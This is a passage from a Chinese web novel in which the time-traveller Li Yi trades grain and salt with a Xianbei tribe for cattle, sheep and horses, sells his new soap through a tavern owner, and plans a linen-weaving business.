李逸给出的价格,对比中原可以说是低得有些没人性了,但他做的就是买卖,那些牛羊在秃发部落里大多都是食物,所以李逸也只计算它们的食用价值。
这次交易,他提供两万斤粟米,一千五百斤粗盐,十五辆木板车,而秃发部落要送来二十只大羊,一只种羊,其中要有六只母羊,六头大牛,四头小牛,其中要有两头能下奶的奶牛,三匹大马,三匹小马,种牛和马种,秃发部落现在也很少无法用来交易,所以李逸又加了一条,所有大羊大牛都不要太老的,乌孤很痛快的就答应了。
按照安平县城的价额,李逸这批牛羊马是血赚的!转手一卖就能创造三倍以上的价值。
乌孤那边按照部落族人的正常消耗,这些牛羊杀了吃肉,所有人一起吃节省着点也超过十五日,但若是换成粮食和盐,省着吃足够他们吃两个多月。
所以乌孤对这样交易也是非常满意,既保存了部落里的牛羊,还让族人们不饿肚子有盐吃,让他们在天暖雪化后就有出去抢夺其它部落的能力!
双方各取所需,也各自满意。
傍晚,乌孤带着族人走了,李逸特意又给他们带了些馒头和包子,贴身携带有身体的热量就不会被冻硬,随时可以吃,作为回礼乌孤将他的狼骨刀送给了李逸。
买卖是买卖,买卖之外的人情世故李逸一点都不含糊。
之前乌兰说愿意用一头大羊交换狼王的肉,李逸现在直接赠送了,还送了一些狼骨,让他们可以制作武器。
乌兰听到李逸说这些都送给他们时,看李逸的眼神都变了,觉得这个中原男人强大又讲情义,和他们草原人一样豪爽!
乌兰被留下,一方面是继续养伤,另一
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方面她也是乌孤留下的眼线,都说中原人狡诈,他们不能就那么轻易地完全信任。
万一他们带着大量的牛羊过来,结果被李逸找更多人埋伏了,不仅牛羊全损失,族里一起过来的这些人也别想活着回去。
交易的牛羊虽不算多,但拉车的牛马需要他们自己准备,十五辆车就是整整三十只,而能拉车的都是精壮的大牛大马,比交易的牛羊价值高出很多。
尤其是马,游牧民族部落间的战斗,战马发挥着关键性的作用,马匹他们也不会轻易用来交易。
李逸回到家天色已经黑了,白雪儿和陈玉竹正忙碌着烧水,她们都打算今晚用肥皂洗澡,今日用了两次肥皂洗手,可以很明显的看到手掌干净白皙了很多,让她们更期待洗澡后能洗白白。
村子里就一口井,在村子比较靠中心的位置,用着非常不方便,今年挖井肯定是不可能了,没办法李逸就制作了两个和浴桶一样大的水桶,用板车推着过去,灌满水盖好盖子再拉回来。
没用别人说,何铁牛回家前会特意帮李逸推回来两桶水,李逸也知道他每天干活多尽心,多卖力,最是欣赏他的这种踏实卖力。
之前何铁牛的唯一缺点就是他的婆娘刘氏,但在那情绪晚爆发后,现在是铁牛当家做主。
刘氏管着钱,虽平时也会嚼舌根,但涉及李逸的事情,她什么都不敢言语了,怕铁牛生气直接家法伺候她,那大巴掌是一点都不含糊。
看着白雪儿跟陈玉竹使用肥皂洗澡,洗头发,一边洗一边发出惊呼,乌兰也有点跃跃欲试,不过李逸的房子就这么大,她又没办法像白雪儿和陈玉竹那么坦然地在李逸面前洗,想要洗只能去外屋。
另外她身上二次撕裂的伤口还在愈合阶段,这个时候绝对不能洗澡,但对那个香皂她也是很喜欢的。
李逸用眼角的余光瞥了眼乌兰,这小蛮妞又开始纠结了,她一个人的内心戏,比他四个媳妇加起来都多!
不就是一块肥皂吗?还用这么纠结?等你走时,哥哥大方地送你两块。
于巧倩在灯光下看书简,秦心月再给使用过的箭头打磨,确保它们依旧锋利这样之后使用时才能确保杀伤力。
李逸一边做针线活,一边思索着这几天要做的事情。
有两件事需要做,一是去县城买粟米买盐,买木板车,还要借王金石的马将东西都拉回来。
二是他要紧急搭建牛圈,羊圈还有马厩。
之前他根本没有提前计算到这一步,不能未卜先知,没想过自己会这么意外地和鲜卑族部落建立关系,这便是所谓的计划赶不上变化。
院子里已经搭建满了木棚,完全成了一个小工坊,没有多余的地方可以利用,连大骡子李逸都想给它移出去,所以只能地在后面围墙的位置搭建马厩和羊圈,牛圈,这就需要很多木头,未来两三天何铁牛都要去山上砍树。
想完肥皂,乌兰又直勾勾盯着李逸手中的绸布衣服,心里又打起了绸布的主意。
李逸无语,这小蛮妞是看什么好就想要什么啊!
第二天李逸带着这几天做出来的豆腐早早出门,陈玉竹和白雪儿随行,陈玉竹想要回去探望下爹爹,还邀请白雪儿一起,肥皂,馒头,肉包,李逸都给她带了。
先将她们送到药铺后,李逸特意去了趟王石匠那里。
有些时日不见王石匠这里光学徒现在就有了五个,前些日子,王金石派人来过这将制作完的石磨全都拉走。
王石匠这是跟着李逸小发了一笔财,所以现在看到李逸那是格外客气。
而他的活多自然就吸引到一些同行的注意,陆续有人以假借当学徒之名来偷学怎么做,然后便是有人去打听这东西究竟是用来干嘛的。
李逸已经可以预见,明年这石磨就要在安平县内普及开,馒头和各种面食的价格应该还有下降空间,终于一天成为大众美食.....
第九十四章:此为何物?
“李兄弟,快快进屋,我有好消息告诉你!”
见到李逸来,王金石笑呵呵地迎出来,然后连忙拉着李逸进屋。
“怎么了,王大哥,这么开心”李逸笑问。
上次李逸和王金石说完走后的第三天,就有临县食肆的老板打听着找了过来,看过王记酒肆的生意火热,也尝过王记正宗的那些吃食后,对方当即就表示想要买配方。
王金石得到李逸的授意,早就做好了这方面的准备,一番讨价还价最终二人是以四个金饼的价格谈成,王记酒肆提供石磨和老面,还会将所有面食的制作方法传授,一直到对方派来的人学会为止,并且之后有新的吃食,过来学价格会给相对低一些。
而这只是第一家,之后又来了三家,全是以相同的价格条件,很轻易的就进账十二个金饼,五五分李逸和王金石各得六个金饼。
这种钱在王金石看来,就和白捡的一样,所以他会表现得异常兴奋。
李逸也很诧异,他没想到会有这么多店铺找过来,不过这也说明了陈林的食肆在临县弄出了很大动静,城中的大户富户都是被新奇的吃食给征服了,所以其他的食肆酒肆会做不下去。
相比之下,安平县的食肆和酒肆内,馒头和各种面食的价格目前已经稳定下来,之前李逸从另外八家店铺抽成,每家店铺他一天就能获得几百钱,现在一天也就只有一百多钱,生意差些的店铺更是连一百钱都没有。
这就情况,导致有三家店铺出现了动摇,在学会饼子的制作方法后,他们直接出尔反尔,单面结束同盟关系,恶意压价吸引客人的同时,也不再给李逸抽成。
李逸也乐得见到如此,路遥知马力日久见人心,不合作又怎么知道什么样的合作伙伴是可靠的,就是能听到心声他也没时间日夜围着这些人转。
那三家店铺一脱离,他就将豆油拿出来一些售卖给其它五个店铺。
豆油制作成本很高,一千斤黄豆,产出不到二百斤豆油,按照一百八十斤计算,黄豆一钱一斤,一斤豆油的原料成本就是五钱多按照六钱计算。
之后是人工成本,一千斤豆子要三天才能全部压榨完,每天都是九个十个人在忙碌,李逸给大家的工钱都不低,材料和人工成本加起来要算十钱一斤,而这只是基础成本。
李逸要按照三十钱一斤来售卖豆油,这是因为豆油只有他能做,他是唯一的就可以定价。
不过无论是豆油还是肥皂,李逸目前都不打算制作太多进行大规模售卖,只在小范围内使用和售卖,什么时候等豆子的产量上来,他再大量压榨豆油,大肆售卖的。
王金石分享完他的开心事后,轮到了李逸。
一开口就让王金石惊得瞪大双眼:“啥?兄弟你要和蛮子做买卖!”
意识到自己有些失态也担心被别人听见,王金石连忙压低声音:
“不是,兄弟,你可是要打算清楚啊,蛮子那可是比土匪强盗还要凶狠的,你和他们做买卖他们只要翻脸,那就变成**越货了,草原蛮子从骨子里就喜欢四处抢东西。”
看王金石如此担心,李逸便是和他讲述了些细节,听到这些王金石的神色才算是缓和了一些。
“兄弟,你开口了,不管是啥事那哥哥是指定要帮你的,可哥哥我还是不放心那些蛮子啊,总觉得有些不可靠”
李逸笑了笑说道:“没事,我愿意试着相信他们。”
见李逸坚持,王金石也不再多劝,认真地点点头:
“成,这事儿哥哥帮你办,如果你这买卖真能做成,那我以后也能和蛮子做点马匹生意,我可是听说了,蛮子那边都是高头大马,好得很!”
“我这就去给你安排人收粮食,收盐,还有木板车,有哥哥在保证都买不贵!”
王金石对李逸的事情格外上心,李逸这边交代完他就派人去跑这些事,两万斤粟米,一千斤粗盐,还有十五辆木板车,他会亲自盯着这件事。
等王金石回来已经是三个小时后,李逸在酒肆这期间也没闲着,指点了下王全的两个儿子。
王金石大步从外面回来带着一身寒气,看到李逸笑着说:
“兄弟,都安排妥当了,明日正午之前这些东西都能给送到酒肆门口,到时候哥哥亲自跟着去你们村里,正好认认门啊。”
李逸连忙站起身,拱手说道:“有劳王大哥了,让你费心力帮我准备这些。”
王金石故作不悦,拍了下李逸的肩膀:“唉?你这就见外了不是,都是自家兄弟,下次还这么见外,哥哥就不理你了啊”
李逸点头:“成!那我就不和哥哥你客气了,我这次来还给你带了样好东西!”
“又是啥新吃食?”王金石双眼放光,觉着自己又要有口福了。
李逸摇头笑道:“这次还真是和吃没啥太大关系,是平日里能每天用到的东西!”
李逸说着取出一块肥皂放在桌上,王金石伸手拿过去仔细观察:
“兄弟,这是何物?有何用途?”
“此物名曰肥皂,可以用来洗手,洗脸,洗头,沐浴,能洗净身上各处的泥垢污渍。”
听李逸一介绍,王金石就能大概清楚这是什么物件儿了。
王金石低头看了看自己的双手,虽是每日都有认真洗但手指头上还有很多黑色油渍。
“那我可要试试这新奇之物了,李兄弟,你这肥皂怎么用啊?”
二人来到水盆旁,李逸手把手教王金石使用肥皂洗手,刚开始还只是觉得用起来滑滑的,手上还有很多泡沫,可随着泡沫变色,泥水不断地往水盆中低落,王金石瞪大双眼,口中啧啧称奇。
“啧啧啧.....我这手这么脏的吗?那我吃东西是不是把脏东西都吃到肚子里啦!哎呀呀......”
将手上的泡沫洗净,王金石看着洗干净后的双手,连连点头称赞:
“好东西!好东西啊!我老娘还有我的婆娘们,肯定都喜欢的!妇道人家就是比男人爱干净。”
“你刚才说,这肥皂还能洗头,洗脸,沐浴?”
“嗯,用这肥皂洗头,头皮不会感觉油腻也不会发痒,效果如何,哥哥一用便知。”李逸解释。
王金石眨了眨小眼睛忽地压低声音问道:“兄弟,你这肥皂好做吗?”
李逸苦笑摇头:“对现如今来说很难,我不会告知配方,百年之内无第二人能做出此物!”
王金石拍手:“妙啊,妙啊!这好东西别说是咱们县城了,就是放在郡城,州城,乃至当天子的都城,那都是稀罕物,王公贵族,夫人小姐们必是会喜欢此物,也必用此物!”
“想要干干净净,怎能少得了日常清洗呢!”
“话说,兄弟你肥皂做出来的多吗?”王金石问。
“不多,目前只有二十块”李逸道。
“这么少吗?嗯....那必须卖个好价格才行,就不能当做寻常之物来卖啊!”
“五百钱一块,你觉得如何?”王金石伸出五根手指试探着问。
李逸眼角一抽,心说:老王,你有做大奸商的潜力啊!
“呃.....王大哥,这会不会太贵了?”李逸也拿不定主意。
王金石捏着被圆润包裹的下巴,沉吟片刻问道:“你这一块肥皂能用多久?”
李逸估算了下,他这块肥皂比较大,只是洗手洗脸,起码够一个人用三个月的,加上洗头,洗澡也应能用一两个月,毕竟在这天寒地冻的苦寒之地,谁又会常常洗头和沐浴呢。
“两三个人用的话,注意别泡水用完记得晾干,应该是能用一个月的”李逸回答。
“能用这么久吗?那五百钱不贵啊!”
王金石略一所思索,当即提议:“那便卖三百五十钱,这价格应是不贵了,你来做哥哥我负责卖,咱俩.....**分,你六我四!你看如何?”
王金石没有说五五分,是因为考虑到材料都是李逸所出,又是只有他能制作,六成这都是少的。
李逸点头应下:“好,就按王大哥的意思来,我这还有十四块肥皂,全都交给你”
“成,我去给你拿钱啊。”
王金石将自己的钱匣子拿过来,每块肥皂按照二百一十钱计算,加上刚刚用的那块,十五
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块肥皂便是三千一百五十钱。
肥皂有如此暴利,李逸也预料到了,这东西本就不是卖给普通百姓使用的。
想要普通百姓可以用其得起,必须是国富民强才可以,天下百姓都有饱饭吃,也能有肉吃,肥皂才能有更亲民的价格。
豆油和肥皂,所消耗得太大了,虽说李逸不赚穷人钱,但在这个超过八成以上的人都食不果腹的荒年,用可食用的豆子大量制作油制作肥皂,多少会让他有些罪恶感,钱赚得不踏实。
所以,他只少量做,小范围地卖,肥皂卖高价自然也就合理了。
“我就说这肥皂,一个月只能做十几块,想买都买不到,以后的价格只会比这更高啊!”
王金石呵呵笑着,心中已经有了计较。
最近一段时间常来酒肆里的那对主仆,伍县令已经和他透露过,那是上面来的大官,而能让一县之主的伍思远都这般对待,必是从郡城来的官。
“兄弟,你在这稍等啊,哥哥我出去一趟。”
王金石将肥皂珍而重之地收进钱匣子里,找了三个和肥皂差不多大小的红木盒子,装好肥皂后就匆匆出门了。
李逸一看他这模样,就知道是出去打点走关系了。
有些东西在开始售卖被人所知道之前送,和知道之后送,那就是两种不同的效果。
王金石驾车目标明确地去了县衙,经衙役通报在内堂找到了伍思远和张贤。
“哎呦!两位大人是真辛苦啊!大人们将自己的俸禄拿出来给救济穷苦农户,安平县有这样父母官,真是全县百姓之福啊!”
伍思面露微笑,远连连摆手:“在其位谋其事,本官即为安平县县令,就该为安平县的百姓做些事情啊,这是分内之事”
“王店主,你来县衙,所谓何事啊?”
王金石上前,将三个红木盒子放在伍思远面前的桌案上。
“这是......”伍思远微微皱眉。
王金石满脸堆笑,说道:
“这是安平县百姓对大人你们的一点点心意,大人放心,这不是什么贵重的东西,不过就是个新奇的物件儿,想着二位大人必是没见过也没用过,故....特意送来。”
伍思远一听,顿时来了兴致,都吏大人现还在安平县内,这若是收了贵重的东西,便是收**赂,被知道免不了要被问责的。
伍思远拿起一个红木盒子打开,发现里面躺着一块方方正正的东西,似石非石,似玉非玉。
“张贤,你也看看,这位何物?”
伍思远将张贤喊过来,张贤也打开一个盒子,从里面拿出这方方正正的东西,仔细端详。
张贤捋了捋下巴上的一缕胡须:“此物看着不小,但入手没有想象中的沉重,可断定不是玉石。”
说着他又轻轻嗅了嗅:“有些许油腥味儿,莫非....这又是你们王记酒肆想出的新吃食?”
伍思远也看不出什么门道,将手中盒子放下看向王金石问:
“王店主,你就别卖关子了,此为何物啊?”
王金石点了点头笑道:“此物名为肥皂,可用来洗手,洗脸,洗头,沐浴,是去污洁身的好东西啊!”
“二位大人,可看我的双手!”
王金石上前一步将双手伸出,伍思远和张贤观看后对比自己的手,一眼就发现王金石的手尤其是手指要格外干净,没有那些洗不掉的泥污。
吴思雨和张贤,二人经常会执笔写字,手无法避免要沾上些黑黑的墨迹。
“其中妙用,二位大人用水洗一洗,便知晓如何了”王金石笑着说。
“来人!”
张贤对外喊了声,没多时就有衙役过来。
“县令大人,县丞大人,有何吩咐?”
“去,打一盆清水过来!”
“是!”
衙役快速离开,没多久就端来一盆清水。
在王金石的示范下,张贤先使用了这个肥皂洗手,他的手指上有不少墨迹,当肥皂的泡沫起来后,那些墨迹就随着泡沫纷纷滴落在水盆之中,快速扩散开。
张贤和一旁看着的伍思远,全都瞪大双眼!
第九十五章:产业链的雏形
“哦?此物竟是如此奇特!”
伍思远看到这肥皂竟然有如此妙效果,也忍不住过来尝试,看着手上的污渍随着肥皂的泡沫滴落在盆里,更是觉得这肥皂的效果神奇。
“好,好东西啊!”伍思远夸赞。
“此物确实奇特,王店主你从何处得来啊?”
张贤和伍思远的目光一同看向王金石。
王金石一笑:“此物,是我结实的一个游历的方士,偶然制作出来的,这肥皂一个月他也只能制作十块,我得了其中五块。”
“哦?方士?你还认识方士”
见张贤诧异看来,王金石只是笑笑没有言语。
伍思远若有所思:“那这肥皂,他可还能制作出来啊?”
“自是可以的,不过他所能做出的数量怕是不多,我知道这东西真的好用后,是第一时间就给大人你们送来了,剩下那块肥宅大人可以给上面的那位,此物虽是不算贵重,但绝对是稀奇的东西啊,只当是我们安平县城百姓的一点点心意。”
王金石表情真诚,对伍思远和张贤抱拳行礼。
“嗯......王店主,你有心了”
伍思远退回到座位坐下,看着洗干净的双手也颇为满意。
“东西既已送到,便不打扰二位大人了,王某先行离去。”
王金石说罢微笑退出房间,转身离去。
伍思远拿过另外两个红木盒子,打开后也发现这肥皂上面的字是不同的。
福,安,康
二人刚才用过的那块上面就是安字,之后自然是属于张贤的。
王金石微笑离去,这种珍奇的新物件,想要卖出好价钱就需要选对售卖的对象,之后他这边会控制着每月所售卖的数量,要的便是一皂难求的效果。
去伍思远那走动,也是在对伍思远传递一个讯息,他王金石之后要做肥皂的买卖了,若有别人想插手,还希望这位县令大老爷能够秉公处理。
就像之前王金石特意给伍思远送新吃食过来是一样的,他根本不需要刻意去说什么,在遇到这种事情时,伍思远自然会更秉公处理,这就是王金石的分寸,他不会让伍思远寻私为他做什么,很懂分寸。
伍思远也大概知道王金石的为人如何,只是秉公处理,王金石对他的这些讨好,他也能安心受之,不像是张贤和那个陈林,他们那些小动作伍思远也是知道的,若有一天出了事,张贤可是别想撇清关系。
盐商暴利!又关乎着百姓的生计,听都吏大人的意思,左丞相建议让陛下将贩盐的买卖全都收为朝廷掌控,如此既是可以规范各地的贩盐生意,所获钱财还能充实国库,乃一举两得!
如齐武帝采纳这一新策,全国各地都需要专设盐官一职,到那时陈林作为安平县最大的盐商,他所受波及将是最大的。
次日正午前.....
王金石这边便是帮李逸将一切都准备妥当,按照李逸的计算这些全下来需要接近九个金饼,但王金石只用了八个金饼就帮他全部采购回来,可见老王在县城内是很有人脉的。
王金石站在马车上向后看,甩了个响鞭大喊道:
“出发啦”
完全由马车构成的车队,被一辆骡车在前头带路出城,如此大的阵仗平日里可是很少见的。
赶在天黑前,王金石到达了大荒村,亲眼得见了这个破败的小山村,还有那绵延望不到头的山脉。
因为李逸家太过狭小,王金石也没多待,不过他是特意买了几卷布,送给李逸的媳妇们,除此之外王金石也想不出能够送些什么。
见到布,李逸才恍然想起还忽略了一件事。
“王大哥等等,瞧我这记性,有件事忘了和你。”
李逸叫住王金石二人去了他的马车车厢内。
“咋了兄弟,又想起啥事了,你说”
“过段时间,我打算让村里人织布来卖。”
“织布?布行的生意嘛.....我觉得不怎么好做啊,咱们安平县的布行可是不比食肆酒肆少,另外陈林那老狐狸的布行最大,他总压价很多小布行都是靠做着裁缝生意才能过活。”
“我们要做布匹的买卖,必定会被陈林狠狠打压。”
王金石皱着眉分析着,之前他也想过,开布行去挤兑陈林的生意,但甚至特意去临县的织坊都询问过,他收布的价格都快赶上陈林卖布的价格了,而从散户手中收的布还多都不怎么样,所以后来就打消了这个念头。
“可若是我能把织布的速度提升三倍,把布的品质提升一倍呢?”
李逸语出惊人!
王金石瞪着眼,满脸不可置信,但转念一想眼前的李逸不一直都在做出乎他意料的事情吗。
“呃.......若是真是这样,陈林那老狐狸的布行生意,会被我们抢走大半的!”
“兄弟....你说的可是真的?”
王金石和陈林斗了许多年都是一直处在下风,还是李逸给他带来这些新吃食后,让他稳稳地压了陈林一头,若是真能在布行对陈林下手,那他陈家就只剩下一个盐的生意了。
“自然是真的,不过,我们这苦寒之地不好弄到蚕丝制作不了绸布,要从细麻布开始入手”
“细麻布?”
王金石疑惑,他只知道粗麻布,还没听过有卖细麻布的。
“嗯,细麻布更紧密,布纹也不是粗麻布那种,好穿且耐用,可染的色也更多,至于葛布,在咱们这苦寒之地不适合,葛藤也不好弄。”
麻布和葛布都是穷苦百姓所用的最低端的布料,麻布是用麻纤维制作,葛布用葛藤的纤维为原材料,二者对比,葛布对较薄更适用于南方。
这两种布之上便是绸布,绸布是用最差的蚕丝所制造出来的最低端的丝织品。
在这个时代,顶级丝织品的价值堪比黄金,且是只有王公贵族才能穿着的布料,一般人就是有钱也不能穿。
“细麻布,那若是我能弄来蚕丝,是不是说你也能制造出更好的绸布,甚至是帛布!”
王金石的眼神越发明亮,这布匹如果做得好,是能远销到其它县城甚至是郡城的,是大买卖!
“可以,不过要先用麻布给我们铺路,麻布的成本低,我们抢的买卖也不过是穷苦农户,在初期不会引起别人的过度关注,等我们做好了积累,找到价格低廉品质好的蚕丝,我们再做更好的布”
听李逸分析得头头是道,王金石缓缓点头:“好,这段时间我安排人去收麻线.......”
李逸摇头:“不,我们不要麻线,粗麻布之所以差,麻线占很大一部分原因,我们收沤好的麻就可以,要不是条件不允许,连沤麻这一步都要我们自己来做,才能保证麻布的最终的品质。”
“哦,原来是这样,那我就去收沤好的麻,价格率高一些应该会有不少农户愿意卖”
二人交谈完后,王金石赶着马车离去,将板车和粮食都留下,只带着一群马匹。
村里的农户们,无论是在李逸家干活的,还是在自己院子里给粟米脱壳的,听到动静都出来看热闹,王金石的穿着气度,一眼就能让穷苦农户们看出他富户的身份,尤其是他还赶了这么多马车过来。
村里每个人,都看到了王金石和李逸说话满脸带笑的客气模样,另外也都看到王金石送给李逸布,而李逸面对这种人依然能够做到面不改色,换做他们,可能话都不知道怎么说。
何铁牛家的炕头上.....
“哎呦呦,刚才那个胖子,就是王店主吧?”
“看他那样子就有钱,定是县城里的大户,李逸兄弟也真是厉害,他和王店主说话一点都不犯怵,王店主和他说话还格外客气呢。”
看刘氏的说话语气和表情,何铁牛洗了把脸说道:
“你以为呢?早就和你说了,李逸兄弟可不是以前那个李三,别说是你,咱俩加起来都不如人家李逸兄弟的一只手,所以咱们两个就踏踏实实跟着李逸兄弟干,他说干啥咱们就干啥,有旁人说对李逸兄弟不好的话,咱们必须站在他这边!”
“李逸兄弟仁义,以后绝对不会亏待我的,你要是再敢出什么幺蛾子,我揍你肯定不会轻!”
刘氏心虚地缩了缩脖子:“哎呦!瞧把你能的.....我不是也没说要干啥嘛!我知道...我之前说的...是过分了些,以后我绝对不这样了,谁要敢说李逸兄弟坏话,我第一个站出来
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吐那人一脸口水,这行了吧?”
何铁牛很满意刘氏现在的态度,点头说道:“嗯.....你能这么想,一只脚就是已经踏入何家大宅的门了。”
不只是何铁牛家,其它村里人今天晚上也都在家里思考这件事情。
李逸的能耐已经大的超出他们想象了,眼下有机会跟着他干,那是说啥都要把握住,若是哪天真被丢下了,那可就是亲手把以后的好日子给断送了。
然而此时的李逸,却在头疼二百袋粟米的问题,首先木板车院子里根本放不下第三辆了,其次是木棚里也不能堆太多粮食,白天干活会碍事。
但就这么放在院外,全村的老鼠都得集合来借粮食,思来想去......
嗷呜.....
李逸站在山坡下仰头嚎叫,没多时,十一只野狼就从山林的方向向他跑来。
“我去?又多一只!二当家这事业心这么重吗?天天给我拉新人”
作为奖励李逸又开始了撸狗模式,二郎就那么威风地站着,任凭狼王李逸将她当成二哈来对待。
“走吧,都跟我回去!”
十五辆板车整齐排成一列在李逸家墙外,李逸和其它的野狼沟通不了一点,但二郎多少能懂一些,十一只野狼在李逸走后,全都趴在板车下面。
虽说是狗不能拿耗子,但没说狼不行啊,有它们看着还敢来偷粮的老鼠,李逸会佩服它的孤勇,粮食就作为奖励给它了。
次日.....李逸早起在练功前先去了院外,十一只野狼全都听话地趴在木板车底,见狼王出来它们都从车底爬出。
“行了,都回去吧!”
李逸挥了挥手,二郎就带着其它野狼快速离开。
“哎呀,越用越顺手了啊.....”
李逸发现,能够控制一个狼群为他所用,还是有很多便利的。
为了应对即将回来的牛羊和马,李逸从一早就开始忙碌,思索过后他决定,在院子对面的空地上建造,羊圈,牛圈和马厩。
决定建,就不能只当做临时的来用,而是未来很长一段时间都要在这里,那规模就绝对不能小,另外李逸的心中因为这些牲畜的出现,又更新了打算,一个闭环的雏形初步有了。
无论是制作豆腐还是豆油,都会出现很多豆渣,这些混合杂草和麸皮,就是比草料更好的精料,喂养的牲畜会更健康。
而喂养牲畜就会产生大量的粪便,将粪便和杂草秸秆混合沤着,能得到纯天然的最好的肥料,这些种地的时候就能用到,一环接一环形成闭环,能将利用率最大化,不会浪费任何资源。
趁着何铁牛砍树的空档,李逸去乡里将白雪儿和陈玉竹都接了回来,大包小包的没少往会带,李逸还闻到了很浓的药材味,询问之后,陈玉竹支支吾吾说,是爹爹给白雪儿开的暖宫益气的药,因为白雪儿宫寒气亏,所以不容易有孕,需要调理。
李逸哭笑不得,孩子都要成白雪儿的心魔了,看来真的努力些才是,好满足她的心愿。
因为需要大量木料,黑铁牛的主要工作,就是不停地砍树,变成无情的伐木工,连续干上几日这对他的体力消耗很大,所以李逸这几日给他的开的工钱相对高一些,吃饭能看到的肉也多了。
秦心月负责给李逸打下手,伤恢复差不多的乌兰也跟着一起帮着忙活,总不能整日坐在炕头上发呆。
第一天是处理砍伐回来的原木,二天一边处理,一边来定位做牛圈和羊圈的框架,一边继续处理木料,一直到第四天才开始搭建马厩,还要配套地搭建草料房,为了后续方便储存草料。
到第六天,一个有些规模足能够养十几匹马的马厩,轮廓已经很清晰了,后续想要扩建李逸也预留了位置,马匹以后多了,除了自己需要使用的,他可以对接王金石。
到第七天,连草料房的框架和房顶都已经完工了,毫不夸张地说李逸一个人的效率,要抵得上三四个成熟的木工。
强大的体质属性能支撑他一整天干活也不会疲惫,一觉醒来打上五遍《气合拳》状态就能恢复到巅峰。
傍晚.....李逸听到了山林中的狼嚎,是乌孤他们回来了!
第九十六章:行为怪异的乌兰
乌孤返回部落后将情况说明,大长老一如既往地反对他,认为这么做的风险太大,万一出了差错,整个秃发部落都会陷入到前所未有的困境中。
萨满狼跋则是喜忧参半,喜的是如果交易达成,部落今年冬天确实不需要担心食物和盐的生存问题,忧的是若是发生意外,他们秃发部落可能就此不存在了,会沦为其它部落的附属。
无法商议出结果,最后还是乌孤力排众议,表示他想要尝试一下,若能完成这次交易,对他们部落而言不只是一个冬天,而是以后的更多可能,他们的部落会因为这一次交易的开始,变得更强大,然后减少可以向拓跋部落复仇的时间。
如此一来,萨满狼跋也只能站在首领这边,大长老纵使是不愿意,也无法阻止什么,毕竟部落里的绝对武力都是只忠于首领的,愿意支持他的都是他曾经的族人。
从大鲜卑山返回部落的这一路,乌孤他们就确定好了牛羊所能通过的路线,这节省了不少时间。
临出发前,应大长老的要求,这一次萨满狼跋也必须随行,遇到事情能为乌孤出些主意。
可能是祈求被腾格里听到了,他们这一路走得很顺利,除了难捱些没有损失一只牲畜,也没有族人受伤。
“我们不下去吗?”
狼跋看着山下那些稀疏的房子,意识到这只是一个很小的部落,他的心中又打起来抢夺的念头。
“不用,那些狼已经给这个部落最强的勇士传递消息了,用不了多久乌兰就会过来的。”
“狼给这里的中原人报信?中原人会训狼?”狼跋的内心满是疑惑。
“因为那人杀**狼王,所以狼群臣服了他,乌兰说他是徒手战胜狼王的”乌孤补充了句。
狼跋听后心中震惊!
杀死狼王这在草原并不稀奇,每年他们都要射杀不少想要吃部落牲畜的野狼,但若想徒手战胜狼王,那只有真正的勇士才能做到。
没过多久,就如乌孤所说山下有两个人过来,见到这二人出现,狼群快速地跑出山林。
李逸这几日忙着弄牛羊圈和马厩,他的二当家也没有闲着,就这几日的时间狼群的规模已经扩张到十五只。
为防止人多眼杂,以后说漏了什么,李逸以有狼群要进村为借口,让所有人都各自回家不许出来。
“哥哥!”
乌兰已经换上了她的羊皮袄,李逸制作了几块去污效果更强的猪油肥皂,乌兰羊皮袄上的血渍被清洗得很干净,之后李逸又用让乌兰叹为观止的针线活,将羊皮袄修复得看不出明显破裂的痕迹。
通过这段时间的观察,乌兰除了知道李逸拥有强大的战力,还见识了他做其他活计的能力和聪明的头脑,在她看来很复杂的问题,李逸总是能轻易做出解答。
乌兰别的道理不知道,但却清楚如果他们秃发部落中能有李逸这样的人,相信用不了几年他们的部落就能成为鲜卑族最强大的部落,能战胜拓跋部落将他们收入麾下。
“乌兰!”
背对李逸时,乌兰用眼神和乌孤传递了信息,告诉乌孤一切正常没有埋伏,这样乌孤最后的担忧也消失了。
“把所有牛羊都牵出来。”
乌孤吹了声口哨,后面的族人将牛羊全部从山林中赶出来,因为担心路上有损失,所以在原有的数量上牛羊都多带了两头。
这次乌孤从部落里带的人很多,但只有一小半是部落里的勇士,剩下的就是些不擅长战斗的族人,他们此行的主要任务,便是回去的路上赶牛车马车。
一头头大羊大牛被牵出,后面才是精神奕奕的骏马,真如王金石所说全是高头大马。
草原牛对比中原的黄牛,是有很明显差异的,虽是皮**的颜色相近都是黄褐色为主,但中原的黄牛是大骨架,头顶只有短角甚至没有角,草原的黄牛相对地有些矮小,但头顶的牛角却出奇地长。
李逸在县城的集市看过,中原人喂养得不好,那些黄牛一头头瘦得和刀郎一样,体重也就只有六七八斤,但其实以中原黄牛的品种,骨骼壮实,肌肉发达,饲养好体重可**千斤。
相比之下鲜卑族的原始草原牛品种,体重的极限也就只有千斤作用,特点是比中原的黄牛耐力更强,且能当做乳牛来饲养,这点中原的黄牛就无法做到,后世就是纯纯的肉牛。
但眼下,李逸所看到的这些大牛,每一只都有**百斤重,说明在草原一直被饲养得很好。
乌孤看到李逸微微点头,上次摔跤切磋,让李逸得到了他的认可。
想到这些即将都是自己的资产,李逸心里美滋滋。
羊好,牛好,骏马更好,全都好!
下山这一路狼跋走得小心翼翼,虽说这中原人的部落看起来规模很小,但他对中原人没有什么好印象,担心中原人会使诈,直到看见十五辆装满粮食的木板车后,他才算是不再那么紧张了。
“乌孤首领,你可以将每个袋子打开确认下里面的粮食。”
乌孤看着木板车上的一袋袋满当当的粟米,心中也是火热一片,有了这次交易,之后突发部落便是不需要在担心任何问题,只需在冬日里让部落的勇士们吃饱,保持最好的状态。
这次跟着过来的其它族人,同样欣喜着,因为乌孤已经说过了,这次的交换是部落为所有人交换的,以后他们也可以用自己的牛羊,交换任何想要的东西。
虽说是相信李逸的为人,又有乌兰盯着,但出于谨慎乌孤还是命令族人们仔细地检查每一袋粟米,这些都是没有脱壳的粟米,考虑到这点李逸便在车上装了四个给粟米脱壳的工具,也已经教会了乌兰如何使用。
双方确认无误,乌孤命令族人将牛羊和马牵入李逸刚完工的牛羊圈和马厩之中,多带的两头大羊和大牛,全当是赠礼送给了李逸。
乌孤豪爽,李逸也不差事儿,狼王的肉和剩下的狼肉全给了乌孤,还有三副比较完整的狼骨架。
馒头和肉包子他提前准备了很多,水开后蒸上片刻就能食用。
虽说知道乌兰的族人要来,但亲眼所见这么多高大的蛮子,张绣娘和于巧倩她们的内心都是紧张的,也没想过有一天他们会和蛮子做买卖。
李逸用馒头和热粥招呼所有人,喝过脱壳后粟米粥的味道,这些突发部落的人都是很满意的,觉得若是放入些野菜,可是比那草籽粥要更好吃。
